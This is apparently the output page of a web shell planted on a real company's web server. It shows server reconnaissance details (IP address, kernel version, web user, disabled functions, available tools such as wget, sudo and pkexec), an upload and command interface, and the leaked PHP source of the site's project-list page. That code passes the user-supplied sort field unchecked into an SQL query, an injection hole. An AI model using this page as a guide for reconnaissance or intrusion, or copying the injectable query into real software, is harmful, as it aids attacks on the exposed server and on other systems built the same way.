403Webshell
Server IP : 210.245.233.93  /  Your IP : 216.73.216.226
Web Server : Apache/2.2.15 (CentOS)
System : Linux webserver2.onesolution.com.hk 2.6.32-754.35.1.el6.x86_64 #1 SMP Sat Nov 7 12:42:14 UTC 2020 x86_64
User : apache ( 48)
PHP Version : 5.3.3
Disable Function : exec, shell_exec, system, passthru, popen, proc_open, pcntl_exec
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/onesolution.com.hk/support/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/onesolution.com.hk/support//projectlist.php
<?php require("checkuser.php"); ?>
<?
if ($logged_in == 1) {
} else {
	header('Location: logon.php');
}
?>
<?php require("configure.php"); ?>
<?
$sql1 = " and a.status in (99";
$status1 = $_POST['status1'];
if ($status1 <> false)
{
	$sql1 .= ",0";
}
$status2 = $_POST['status2'];
if ($status2 <> false)
{
	$sql1 .= ",1";
}
$status3 = $_POST['status3'];
if ($status3 <> false)
{
	$sql1 .= ",2";
}
$status4 = $_POST['status4'];
if ($status4 <> false)
{
	$sql1 .= ",3";
}

$sql1 .= ") ";
if ($sql1 == " and a.status in (99) ")
{
	$sql1 = "";
	$status1 = on;
	$status2 = on;
	$status3 = on;
	$status4 = on;
}


$sort = $_POST['sort'];
if ($sort <> "")
{
	$sql2 = " order by ". $sort ." desc";
}
else
{
	$sql2 = " order by projectid desc";
}
?>

<html>
<head>
<title>One Solution Limited - Support</title>
<link rel="stylesheet" href="main.css" type="text/css">
<meta http-equiv="Content-Type" content="text/html; charset=big5" />
<script language="JavaScript" type="text/javascript" src="richtext.js"></script>
<script type="text/javascript" src="calendarDateInput.js"></script>
<script type="text/javascript">
function ismaxlength(obj){
var mlength=obj.getAttribute? parseInt(obj.getAttribute("maxlength")) : ""
if (obj.getAttribute && obj.value.length>mlength)
obj.value=obj.value.substring(0,mlength)
}
</script>
</head>
<body>

<table border="0" cellpadding="1" cellspacing="1" width="100%">
<tr><td class='pageheader' align="left" valign="middle" height="100"><img src="images/iconProducts.png">&nbsp;<b>Software Project</b></td>
	<td class='content' align="center" width="150"></td>
</tr>
</table>
<a href="projectindex.php" class="content"><img src="images/button_insert.gif" border="0">&nbsp;&nbsp;Create Project</a>
<form action="" method="post">

<p class="content">
<input type="checkbox" name="status1" class="content" <?=getCheck(on,$status1)?>>Disable
<input type="checkbox" name="status2" class="content" <?=getCheck(on,$status2)?>>Enable
<input type="checkbox" name="status3" class="content" <?=getCheck(on,$status3)?>>Completed
<input type="checkbox" name="status4" class="content" <?=getCheck(on,$status4)?>>Deferred
</p>
<p class="content">
Order by <select name="sort" class="content">
<option value="projectid" <?=getSelect("projectid",$sort)?>>Project no.</option>
<option value="projectname" <?=getSelect("projectname",$sort)?>>Name</option>
<option value="staffname" <?=getSelect("staffname",$sort)?>>Assigned To</option>
</select>
<input type="submit" value="Search" class="content">
</p>
</form>

<table border="0" width="550" cellpadding='1' cellspacing='1' bgcolor='#666666'>
<tr><td class="content" width="100" align='center' bgcolor='#FFFFFF'>Project no.</td>
	<td class="content" width="150" align='center' bgcolor='#FFFFFF'>Name</td>
	<td class="content" width="150" align='center' bgcolor='#FFFFFF'>Assigned To</td>
	<td class="content" width="80" align='center' bgcolor='#FFFFFF'>Status</td>
	<td bgcolor='#FFFFFF' width="70"></td></tr>

<?
$sql = "select a.status as projectstatus, projectid, projectname, staffname 
from PM_PROJECT_HDR a, SYS_STAFF b 
where a.staffid = b.staffid $sql1 $sql2";
$result = mysql_query($sql);
//echo $sql;
while ($row = mysql_fetch_array($result,MYSQL_ASSOC))
{
?>
	<tr><td class="content" bgcolor='#FFFFFF'><?=$row{'projectid'}?></td>
		<td class="content" bgcolor='#FFFFFF'><?=$row{'projectname'}?></td>
		<td class="content" bgcolor='#FFFFFF'><?=$row{'staffname'}?></td>
		<td class="content" bgcolor='#FFFFFF' align='center'>
		<?
		switch ($row{'projectstatus'}) {
		case 0:
			print "Disabled";
			break;
		case 1:
			print "Enable";
			break;
		case 2:
			print "Completed";
			break;
		case 3:
			print "Deferred";
			break;
		default:
			print "";
			break;
		} 
		?>		
		</td>
		<td class="content" align='center' bgcolor='#FFFFFF'>
		<a href='projectdetail.php?projectid=<?=$row{'projectid'}?>'><img src='images/button_edit.png' border='0' alt="Edit"></a>&nbsp;
		<a href='tasklist.php?projectid=<?=$row{'projectid'}?>'><img src='images/button_properties.gif' border='0' alt="Create task"></a>
		</td></tr>
<?
}
?>
</table>

</body>
</html>
<?
function getSelect($field1, $field2)
{
	if ($field1 == $field2)
	{
		return "selected";
	}
	else
	{
		return "";
	}
}
?>
<?
function getCheck($field1, $field2)
{
	if ($field1 == $field2)
	{
		return "checked";
	}
	else
	{
		return "";
	}
}
?>

Youez - 2016 - github.com/yon3zu
LinuXploit